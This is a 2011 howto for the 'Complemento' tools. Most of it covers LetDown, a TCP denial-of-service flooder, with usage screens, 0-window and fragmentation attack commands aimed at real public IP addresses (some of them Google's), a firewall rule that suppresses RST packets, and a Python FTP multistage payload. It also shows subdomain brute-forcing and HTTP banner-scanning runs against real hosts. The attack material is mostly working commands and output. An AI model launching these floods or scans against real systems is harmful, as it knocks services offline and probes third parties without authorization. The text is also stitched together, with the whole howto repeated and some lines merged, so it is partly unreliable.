Howto
Acri Emanuele - 2011
Complemento is a collection of tools I originally grokked up for my personal toolchain, to solve some network problems or just for fun.
I have released it to the public a couple of years ago, but the tools continue to be developed and refined.
The programs are security oriented; in this howto we'll see their features and how to use them (with a bit of black magic).
INDEX:
Just a screenshot of my BackTrack 5 desktop, during a LetDown session:
LetDown
LetDown is a "full" tcp flooder. It's not a simple syn flooder: it's able to interrupt the communication at any stage of the TCP protocol.
That means you can manage a complete connection (with a standard fin/fin-ack ending) or stop the connection early, leaving the target's network stack in various possible states.
It uses an experimental userland TCP/IP stack, and supports fragmentation of packets and variable tcp window.
From version 0.7 it also supports multistage payloads for complex protocols such as FTP or SMTP (some examples are included in the "payloads" directory). The engine for these script is Python, so that you can use the versatility of this scripting language to write intelligent payloads, which can modify their behavior according to the responses of targets.
The tool has been programmed after the reading of Fyodor's article "TCP Resource Exhaustion and Botched Disclosure".
Before using the tool I strongly encourage you to read it (at http://insecure.org/stf/tcp-dos-attack-explained.html). This is a short extract:
"The basic idea is to first firewall your source address to prevent your own OS from interfering with your attack. Next you create hundreds or thousands of connections to the TCP port you are targeting as follows:
Once you have those thousands of open connections, you can get even nastier by sending malicious data payloads customized for the service you're attacking. For example, you can request a large file from web servers using each of your open connections. The server will then load the first part of that file into the OS TCP stack for sending, using precious kernel memory buffers.
...
Let's start with the usage screen of LetDown:
The other main options include the source ip address, the first and last source port to use in the scanning loop (you can also enable infinite loop mode that rewinds the port) and the network interface used to sniff and inject packets.
You can also set the sleep time between injections of packets, the maximum time for waiting responses and the verbosity level (the default level show only some general statistics about the session).
The extra options are more interesting:
-f configure automagically the firewall for not resetting the connections made by the program, via iptables rules or sysctl on FreeBSD.
-L modify the interaction with the target. You can use the following modalities:
-O enable acknowledge packets fragmentation and the value is used as fragment offset delta.
-C fragment couter, increment the fragment offset as specified by -O option.
-P simple payload file to sent to the target host after the 3-way handshake.
-M multistage payload file.
Let's see some simple uses of the tool...
Note: the kernel will reset the connections if you don't set your firewall properly. For iptables you can use:
# iptables -A OUTPUT -p tcp --tcp-flags ALL RST -j DROP
or if you use FreeBSD:
# sysctl net.inet.tcp.blackhole=2
Examples
A generic 3-way handshake flooding against a service (in this case FTP):
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 21
This command will start the attack but the connections will be probably resetted by the firewall...
An attack against a webserver using payload and firewall options:
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 80 -f iptables -P payloads/http.txt
This is an improvement respect to the previous attack. It targets a web server using a standard HTTP request payload:
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 80 -x 120 -y 123 -t 10000
Just a strange example to show you some options...
Advanced examples
Now that you understand (at least a bit) the basic usage of the tool let's see some more advanced features...
Let's start with an attack that uses a TCP window of size 0, called, of course 0-window. Using this technique we can reduce the traffic generated by the target, allowing a more effective attack that does not degrade the network.
For more informations about 0-window attack and TCP protocol you can read:
http://www.tcpipguide.com/free/t_TCPWindowSizeAdjustmentandFlowControl-4.htm
http://www.tcpipguide.com/free/t_TCPWindowSizeAdjustmentandFlowControl-2.htm#Figure_226
The attack:
# letdown -d 66.249.93.104 -p 80 -x 1026 -y 1026 -P payloads/http.txt -W 0 -L a -f iptables
Screenshot of the session:
More advanced uses can involve the fragmentation of packets. In this case I use an offset delta of 1024:
# letdown -d 66.249.93.104 -p 80 -x 1025 -y 1025 -P payloads/http.txt -O 1024 -C 5
Screenshot:
And for more complex protocols that require stateful connections?
Here comes into play the new feature of LetDown 0.7, the scripting engine embedded into the program. Let's see the magic...
Scripting engine
Letdown has an embedded python scripting engine, that supports complex payloads for complex protocols.
You can use the power of python language to write payloads which react differently, according to the responses they receive from the target.
You can also handle protocols such as FTP or SMTP, which require a greater level of interaction and multiple commands in a single connection (unlike the "shoot-and-run" HTTP).
Writing a multistage payload is really simple. This is an example included in LetDown, to handle FTP protocol:
As you can see, the script is composed of a single function "callback", that receives some arguments related to the connection and sets some pre-defined global variables.
The arguments received by the function are a counter (the number of times the function has been called during the current connection), the TCP flags and the payload of the last received packet.
The function must set some global variables to return a result to LetDown. The default values of these are:
The constants and the TCP flags are setted by LetDown, and you can use them to read and compare the values of the arguments or to set the global variables.
Some importants notes:
1) For the last packet sent by the script I've used "if count > 7":
If you rely on the counter to track the connection you should use this precaution...
2) For now, only the packets with flags SYN-ACK, ACK or PSH-ACK are passed to the script.
Other ideas for a multistage payload may involve, for example, a mechanism based on regular expression that modify packets according to the responses of the target.
Now, let's see this script in action:
# letdown -d 81.31.152.93 -p 21 -x 1331 -y 1331 -M payloads/ftp-multi.py -L f
Screenshot:
This stream looks like a normal connection, but it 's all done in userspace by the TCP stack of LetDown. Cool, isn't it?
Well, I think LetDown has no more secrets for you ...
I'll give you only a last recommendation: especially in case of multistage payloads, you should test the script on you local network before starting the pentetration test, to not have unpleasant surprises.
ReverseRaider
ReverseRaider is a domain scanner that uses brute force wordlist scanning to find a target subdomain or reverse resolution of IP ranges. It supports permutation on wordlist, IPv6 and also some DNS options.
Let's see the usage screen of ReverseRaider:
The main options are, of course, the scanning mode (wordlist or reverse resolution) and the path of the wordlist.
The extra options permit to set the maximum time for waiting responses, to activate permutations on wordlists, to choose the DNS server to use and to set type and (no-)recursion of queries.
Let's see some examples of use:
Reverse scanning of an ip range (in our examples the owner of the hosts scanned is Google...):
$ reverseraider -r 66.249.93.100-120
Output:
google.it 66.249.93.104
ug-in-f102.google.com 66.249.93.102
ug-in-f112.google.com 66.249.93.112
ug-in-f101.google.com 66.249.93.101
ug-in-f100.google.com 66.249.93.100
ug-in-f115.google.com 66.249.93.115
ug-in-f116.google.com 66.249.93.116
ug-in-f118.google.com 66.249.93.118
gsmtp93-2.google.com 66.249.93.114
ug-in-f120.google.com 66.249.93.120
We can do the same with a range of IPv6 (if your nameserver supports reverse dns query for IPv6):
$ reverseraider -r 2001:4860:0:1001::68-69
Output:
nf-in-x68.google.com 2001:4860:0:1001::68
Wordlist scanning of a domain:
$ reverseraider -d google.com -w wordlists/fast.list
Output:
www.l.google.com 74.125.43.103
www.google.com 74.125.43.103
googlemail.l.google.com 74.125.43.18
mail.google.com 74.125.43.18
ns.google.com 216.239.32.10
vpn.google.com 64.9.224.70
vpn.google.com 64.9.224.68
vpn.google.com 64.9.224.69
www.google.com 74.125.43.103
web.google.com 74.125.43.103
www2.l.google.com 74.125.77.103
print.google.com 74.125.77.103
smtp1.google.com 209.85.237.25
smtp.google.com 209.85.237.25
ns.google.com 216.239.32.10
vpn.google.com 64.9.224.68
vpn.google.com 64.9.224.69
vpn.google.com 64.9.224.70
I only showed the basic usage of the tool. Now it's your turn to experiment with the various options, such as DSN no-recursion...
HttSquash
Httsquash is an http server scanner, banner grabber and data retriever. It can be used to scann large ranges of IP addresses to find networked devices and http servers. It supports IPv6, personalized requests and a basic fingerprint engine.
Let's see the usage screen of HttSquash:
The required options are the range of ip to scan and the port of the server.
It's also possible to set the maximum time to wait responses, the max number of threads, a "full" mode and/or a cookie-jar separator between the results.
Other options include various HTTP requests and enabling the fingerprinting.
Let's see some examples of use...
Http header grabbing of a server (using IPv6... for IPv4 is the same):
$ httsquash -r 2001:4860:0:1001::68
Output:
FOUND: 2001:4860:0:1001::68 80
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Date: Sun, 28 Dec 2008 13:25:41 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Server: gws
Transfer-Encoding: chunked
Full mode:
$ httsquash -r 2001:4860:0:1001::68 -v
Output:
FOUND: 2001:4860:0:1001::68 80
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Date: Sun, 28 Dec 2008 13:27:55 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Server: gws
Transfer-Encoding: chunked
DATA:
<html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Google</title>
...
...
</body></html>
Setting an ip range it's possible to scan a subnet to find http servers, including networked devices that have an http control panel.
In this example the request type option is active:
$ httsquash -r 89.97.126.0-10 -T head
Output:
FOUND: 89.97.126.5 80
HTTP/1.1 301 Moved Permanently
Date: Wed, 15 Apr 2009 10:52:31 GMT
Server: Apache/2.0.52 (Red Hat)
Location: http://www.inail.it/Portale/appmanager/portale/desktop
Content-Type: text/html; charset=iso-8859-1
FOUND: 89.97.126.4 80
HTTP/1.1 404 Not Found
Date: Thu, 01 Jan 1970 00:00:00 GMT
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033
Content-Length: 1278
Content-Type: text/html
Connection: Close
FOUND: 89.97.126.10 80
HTTP/1.1 200 OK
Date: Wed, 15 Apr 2009 10:52:31 GMT
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033 with CR190507 CR196738 CR176240
Content-Type: text/html
Set-Cookie: JSESSIONID_PC=Jl8vRNeQvLsL3USYCguROszKlxeRZJTRIPKhS2G8vC1iBb4AoVG0!-4352615!183762790!8081!-1!-1833311414!183762789!8081!-1; domain=.inail.it; path=/
Transfer-Encoding: Chunked
FOUND: 89.97.126.3 80
HTTP/1.1 200 OK
Date: Wed, 15 Apr 2009 10:52:30 GMT
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033 with CR190507 CR196738
Content-Type: text/html
Set-Cookie: JSESSIONID_NS=Jl8u2fspBdHJZ6SrPnBOt5ka3iOZDcJAHSnlXDRLN1aBcNiGs1yC!-1484958317!183762809!8080!-1; domain=.inail.it; path=/
You can also use the -j (jar-cookie separator) option to simplify the parsing of the output, especially if you combine it with the -b option (print the full body of responses).
Conclusion
This quick and dirt howto is finished...
I encourage you to experiment the tools and test you systems, but above all have fun!
The programs are security oriented; in this howto we'll see their features and how to use them (with a bit of black magic).
INDEX:
Just a screenshot of my BackTrack 5 desktop, during a LetDown session:
LetDown
LetDown is a "full" tcp flooder. It's not a simple syn flooder: it's able to interrupt the communication at any stage of the TCP protocol.
That means you can manage a complete connection (with a standard fin/fin-ack ending) or stop the connection early, leaving the target's network stack in various possible states.
It uses an experimental userland TCP/IP stack, and supports fragmentation of packets and variable tcp window.
From version 0.7 it also supports multistage payloads for complex protocols such as FTP or SMTP (some examples are included in the "payloads" directory). The engine for these script is Python, so that you can use the versatility of this scripting language to write intelligent payloads, which can modify their behavior according to the responses of targets.
The tool has been programmed after the reading of Fyodor's article "TCP Resource Exhaustion and Botched Disclosure".
Before using the tool I strongly encourage you to read it (at http://insecure.org/stf/tcp-dos-attack-explained.html). This is a short extract:
"The basic idea is to first firewall your source address to prevent your own OS from interfering with your attack. Next you create hundreds or thousands of connections to the TCP port you are targeting as follows:
- Attacker sends a TCP SYN packet to the target port from his own IP address to request a connection.
- The target port is open, so it will respond with a SYN/ACK packet. Remember that Attacker sent the SYN as a raw packet from userland rather than using his operating system's connect() API to establish the connections. So when Attacker's operating system's TCP stack sees the unexpected SYN/ACK come back, it would normally destroy the nascent connection by sending a reset (RST) packet. This is why the special firewall rule was mentioned—to prevent such interference by Attacker's OS. Instead Attacker's DoS client handles all these packets by sniffing them from userland (generally using libpcap) and building/sending the raw reply packets.
- Using the initial sequence number and other information from the SYN/ACK, Attacker sends an acknowledgment packet (the final step of the 3-way handshake) to complete the connection.
Once you have those thousands of open connections, you can get even nastier by sending malicious data payloads customized for the service you're attacking. For example, you can request a large file from web servers using each of your open connections. The server will then load the first part of that file into the OS TCP stack for sending, using precious kernel memory buffers.
...
Other options for nastyness include IP fragmentation and TCP segmentation. For example, you can waste memory by sending many large packets with each having one fragment missing, or you can leave a gap in the TCP streams by sending data at the end of the current window with nothing in between. The target OS may buffer that data until you decide to send the intervening packets.
You can easily tweak this attack to target different resources (such as requesting a dynamic page which requires significant CPU time to compute). These are just modifications of the fundamental attack, which is to use raw TCP packets to make a massive number of connections and (optionally) send malicious application-specific payloads for each connection, while tweaking details such as your packet timing and window sizes to have the most damaging affect. "Let's start with the usage screen of LetDown:
LetDown 3wh+payload flooder v0.7.7 - Acri Emanuele (crossbower@gmail.com)
Usage:
letdown -d dst_ip -p dst_port -D dst_mac [options]
Options:
-d destination ip address, target
-D destination mac address or router mac address
-p destination port
-s source ip address
-S source mac address
-x first source port (default 1025)
-y last source port (default 65534)
-l enables infinite loop mode
-i network interface
-t sleep time in microseconds (default 10000)
-a max time in second for waiting responses (default 40)
Extra options:
-v verbosity level (0=quiet, 1=normal, 2=verbose)
-f automagically set firewall rules for blocking
rst packet generated by the kernel
examples: -f iptables, -f blackhole (for freebsd)
-L special interaction levels with the target
s syn flooding, no 3-way-handshake
a send acknowledgment packets (polite mode)
f send finalize packets (include polite mode)
r send reset packets (check firewall rules...)
-W window size for ack packets (ex: 0-window attack)
-O enable ack fragmentation and set fragment offset delta
-C fragment counter if fragmentation is enabled (default 1)
-P payload file (see payloads directory...)
-M multistage payload file (see payloads directory...)
Required options are the destination address, the destination mac address (or the router mac address if the target is not local) and the target port.The other main options include the source ip address, the first and last source port to use in the scanning loop (you can also enable infinite loop mode that rewinds the port) and the network interface used to sniff and inject packets.
You can also set the sleep time between injections of packets, the maximum time for waiting responses and the verbosity level (the default level show only some general statistics about the session).
The extra options are more interesting:
-f configure automagically the firewall for not resetting the connections made by the program, via iptables rules or sysctl on FreeBSD.
-L modify the interaction with the target. You can use the following modalities:
s just a syn flood, no 3-way-handshake.
a like the "polite mode" of Fyodor NDos, but acks data received without closing the connection.
f close the connection with fin (finalize) packets, the conventional way.
r close the connection with a reset packet, the brute way.
-W is the tcp window size of acknowledge packets. It can be setted
to 0 (zero) for 0-window DoS attacks.a like the "polite mode" of Fyodor NDos, but acks data received without closing the connection.
f close the connection with fin (finalize) packets, the conventional way.
r close the connection with a reset packet, the brute way.
-O enable acknowledge packets fragmentation and the value is used as fragment offset delta.
-C fragment couter, increment the fragment offset as specified by -O option.
-P simple payload file to sent to the target host after the 3-way handshake.
-M multistage payload file.
Let's see some simple uses of the tool...
Note: the kernel will reset the connections if you don't set your firewall properly. For iptables you can use:
# iptables -A OUTPUT -p tcp --tcp-flags ALL RST -j DROP
or if you use FreeBSD:
# sysctl net.inet.tcp.blackhole=2
Examples
A generic 3-way handshake flooding against a service (in this case FTP):
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 21
This command will start the attack but the connections will be probably resetted by the firewall...
An attack against a webserver using payload and firewall options:
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 80 -f iptables -P payloads/http.txt
This is an improvement respect to the previous attack. It targets a web server using a standard HTTP request payload:
GET / HTTP/1.1 host: localhost user-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) connection: keep-aliveAn attack that use only 3 source ports (120-123) and using the time option:
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 80 -x 120 -y 123 -t 10000
Just a strange example to show you some options...
Advanced examples
Now that you understand (at least a bit) the basic usage of the tool let's see some more advanced features...
Let's start with an attack that uses a TCP window of size 0, called, of course 0-window. Using this technique we can reduce the traffic generated by the target, allowing a more effective attack that does not degrade the network.
For more informations about 0-window attack and TCP protocol you can read:
http://www.tcpipguide.com/free/t_TCPWindowSizeAdjustmentandFlowControl-4.htm
http://www.tcpipguide.com/free/t_TCPWindowSizeAdjustmentandFlowControl-2.htm#Figure_226
The attack:
# letdown -d 66.249.93.104 -p 80 -x 1026 -y 1026 -P payloads/http.txt -W 0 -L a -f iptables
Screenshot of the session:
More advanced uses can involve the fragmentation of packets. In this case I use an offset delta of 1024:
# letdown -d 66.249.93.104 -p 80 -x 1025 -y 1025 -P payloads/http.txt -O 1024 -C 5
Screenshot:
And for more complex protocols that require stateful connections?
Here comes into play the new feature of LetDown 0.7, the scripting engine embedded into the program. Let's see the magic...
Scripting engine
Letdown has an embedded python scripting engine, that supports complex payloads for complex protocols.
You can use the power of python language to write payloads which react differently, according to the responses they receive from the target.
You can also handle protocols such as FTP or SMTP, which require a greater level of interaction and multiple commands in a single connection (unlike the "shoot-and-run" HTTP).
Writing a multistage payload is really simple. This is an example included in LetDown, to handle FTP protocol:
# Example of FTP multistage payload
# Copyright (C) 2009 Acri Emanuele <crossbower@gmail.com>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# Callback function
def callback(count, h_flags, h_payload):
global stage
global flags
global window
global wait
global payload
# Ack FTP server banner...
if count == 0:
flags = ack
window = 2048
# First command
if count == 1:
flags = ack | push
window = 2048
action = act_wait
payload = "USER root\r\n"
# Ack...
if count == 2:
flags = ack
window = 2048
# Second command
if count == 3:
flags = ack | push
window = 2048
action = act_wait
payload = "PASS foo\r\n"
# Ack...
if count == 4:
flags = ack
window = 2048
# Request help
if count == 5:
flags = ack | push
window = 2048
action = act_wait
payload = "help\r\n"
# Ack received help
if count == 6:
flags = ack
window = 2048
# Quit the connection
if count == 7:
flags = ack | push
window = 2048
action = act_wait
payload = "quit\r\n"
# Ack and close the connection...
if count > 7:
flags = ack
window = 2048
wait = act_end
As you can see, the script is composed of a single function "callback", that receives some arguments related to the connection and sets some pre-defined global variables.
The arguments received by the function are a counter (the number of times the function has been called during the current connection), the TCP flags and the payload of the last received packet.
The function must set some global variables to return a result to LetDown. The default values of these are:
# Costants
act_null = 0 # default action. does nothing...
act_wait = 1 # wait a new packet from the target
act_end = 2 # end this session (polite mode)
act_exit = 3 # end this session (brute mode)
# TCP flags
fin = 0x01
syn = 0x02
rst = 0x04
push = 0x08
ack = 0x10
urg = 0x20
# Global variables
flags = ack # TCP flags of the packet to send
window = 2048 # TCP window of the packet to send
action = act_null # action (see Costants)
payload = \"\" # payload of the packet to send
The constants and the TCP flags are setted by LetDown, and you can use them to read and compare the values of the arguments or to set the global variables.
Some importants notes:
1) For the last packet sent by the script I've used "if count > 7":
# Ack and close the connection...This is a protection against scripting/connection errors, which can lead to an endless loop.
if count > 7:
flags = ack
window = 2048
wait = act_end
If you rely on the counter to track the connection you should use this precaution...
2) For now, only the packets with flags SYN-ACK, ACK or PSH-ACK are passed to the script.
Other ideas for a multistage payload may involve, for example, a mechanism based on regular expression that modify packets according to the responses of the target.
Now, let's see this script in action:
# letdown -d 81.31.152.93 -p 21 -x 1331 -y 1331 -M payloads/ftp-multi.py -L f
Screenshot:
This stream looks like a normal connection, but it 's all done in userspace by the TCP stack of LetDown. Cool, isn't it?
Well, I think LetDown has no more secrets for you ...
I'll give you only a last recommendation: especially in case of multistage payloads, you should test the script on you local network before starting the pentetration test, to not have unpleasant surprises.
ReverseRaider
ReverseRaider is a domain scanner that uses brute force wordlist scanning to find a target subdomain or reverse resolution of IP ranges. It supports permutation on wordlist, IPv6 and also some DNS options.
Let's see the usage screen of ReverseRaider:
ReverseRaider domain scanner v0.7.7 - Acri Emanuele (crossbower@gmail.com)
Usage:
reverseraider -d domain | -r range [options]
Options:
-r range of ipv4 or ipv6 addresses, for reverse scanning
examples: 208.67.1.1-254 or 2001:0DB8::1428:57ab-6344
-f file containing lists of ip addresses, for reverse scanning
-d domain, for wordlist scanning (example google.com)
-w wordlist file (see wordlists directory...)
Extra options:
-t requests timeout in seconds
-P enable numeric permutation on wordlist (default off)
-D nameserver to use (default: resolv.conf)
-T use TCP queries instead of UDP queries
-R don't set the recursion bit on queries
The main options are, of course, the scanning mode (wordlist or reverse resolution) and the path of the wordlist.
The extra options permit to set the maximum time for waiting responses, to activate permutations on wordlists, to choose the DNS server to use and to set type and (no-)recursion of queries.
Let's see some examples of use:
Reverse scanning of an ip range (in our examples the owner of the hosts scanned is Google...):
$ reverseraider -r 66.249.93.100-120
Output:
google.it 66.249.93.104
ug-in-f102.google.com 66.249.93.102
ug-in-f112.google.com 66.249.93.112
ug-in-f101.google.com 66.249.93.101
ug-in-f100.google.com 66.249.93.100
ug-in-f115.google.com 66.249.93.115
ug-in-f116.google.com 66.249.93.116
ug-in-f118.google.com 66.249.93.118
gsmtp93-2.google.com 66.249.93.114
ug-in-f120.google.com 66.249.93.120
We can do the same with a range of IPv6 (if your nameserver supports reverse dns query for IPv6):
$ reverseraider -r 2001:4860:0:1001::68-69
Output:
nf-in-x68.google.com 2001:4860:0:1001::68
Wordlist scanning of a domain:
$ reverseraider -d google.com -w wordlists/fast.list
Output:
www.l.google.com 74.125.43.103
www.google.com 74.125.43.103
googlemail.l.google.com 74.125.43.18
mail.google.com 74.125.43.18
ns.google.com 216.239.32.10
vpn.google.com 64.9.224.70
vpn.google.com 64.9.224.68
vpn.google.com 64.9.224.69
www.google.com 74.125.43.103
web.google.com 74.125.43.103
www2.l.google.com 74.125.77.103
print.google.com 74.125.77.103
smtp1.google.com 209.85.237.25
smtp.google.com 209.85.237.25
ns.google.com 216.239.32.10
vpn.google.com 64.9.224.68
vpn.google.com 64.9.224.69
vpn.google.com 64.9.224.70
I only showed the basic usage of the tool. Now it's your turn to experiment with the various options, such as DSN no-recursion...
HttSquash
Httsquash is an http server scanner, banner grabber and data retriever. It can be used to scann large ranges of IP addresses to find networked devices and http servers. It supports IPv6, personalized requests and a basic fingerprint engine.
Let's see the usage screen of HttSquash:
HTTSquash scanner v0.7.7 - Acri Emanuele (crossbower@gmail.com)
Usage:
httsquash -r range [options]
Options:
-r range of ip addresses or target dns name
examples: 208.67.1.1-254, 2001::1428:57ab-6344, google.com
-p port (default 80)
Extra options:
-t time in seconds (default 3)
-m max scan processes (default 10)
-b print body of response (html data)
-S use HTTPS instead of HTTP
-T custom request type (default GET)
-U custom request URL (default /)
-H set an header for the request (can be used multiple times)
examples: Keep-Alive:300, User-Agent:httsquash
Script options:
-j cookie jar separator ("%%")
The required options are the range of ip to scan and the port of the server.
It's also possible to set the maximum time to wait responses, the max number of threads, a "full" mode and/or a cookie-jar separator between the results.
Other options include various HTTP requests and enabling the fingerprinting.
Let's see some examples of use...
Http header grabbing of a server (using IPv6... for IPv4 is the same):
$ httsquash -r 2001:4860:0:1001::68
Output:
FOUND: 2001:4860:0:1001::68 80
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Date: Sun, 28 Dec 2008 13:25:41 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Server: gws
Transfer-Encoding: chunked
Full mode:
$ httsquash -r 2001:4860:0:1001::68 -v
Output:
FOUND: 2001:4860:0:1001::68 80
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Date: Sun, 28 Dec 2008 13:27:55 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Server: gws
Transfer-Encoding: chunked
DATA:
<html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Google</title>
...
...
</body></html>
Setting an ip range it's possible to scan a subnet to find http servers, including networked devices that have an http control panel.
In this example the request type option is active:
$ httsquash -r 89.97.126.0-10 -T head
Output:
FOUND: 89.97.126.5 80
HTTP/1.1 301 Moved Permanently
Date: Wed, 15 Apr 2009 10:52:31 GMT
Server: Apache/2.0.52 (Red Hat)
Location: http://www.inail.it/Portale/appmanager/portale/desktop
Content-Type: text/html; charset=iso-8859-1
FOUND: 89.97.126.4 80
HTTP/1.1 404 Not Found
Date: Thu, 01 Jan 1970 00:00:00 GMT
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033
Content-Length: 1278
Content-Type: text/html
Connection: Close
FOUND: 89.97.126.10 80
HTTP/1.1 200 OK
Date: Wed, 15 Apr 2009 10:52:31 GMT
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033 with CR190507 CR196738 CR176240
Content-Type: text/html
Set-Cookie: JSESSIONID_PC=Jl8vRNeQvLsL3USYCguROszKlxeRZJTRIPKhS2G8vC1iBb4AoVG0!-4352615!183762790!8081!-1!-1833311414!183762789!8081!-1; domain=.inail.it; path=/
Transfer-Encoding: Chunked
FOUND: 89.97.126.3 80
HTTP/1.1 200 OK
Date: Wed, 15 Apr 2009 10:52:30 GMT
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033 with CR190507 CR196738
Content-Type: text/html
Set-Cookie: JSESSIONID_NS=Jl8u2fspBdHJZ6SrPnBOt5ka3iOZDcJAHSnlXDRLN1aBcNiGs1yC!-1484958317!183762809!8080!-1; domain=.inail.it; path=/
You can also use the -j (jar-cookie separator) option to simplify the parsing of the output, especially if you combine it with the -b option (print the full body of responses).
Conclusion
This quick and dirt howto is finished...
I encourage you to experiment the tools and test you systems, but above all have fun!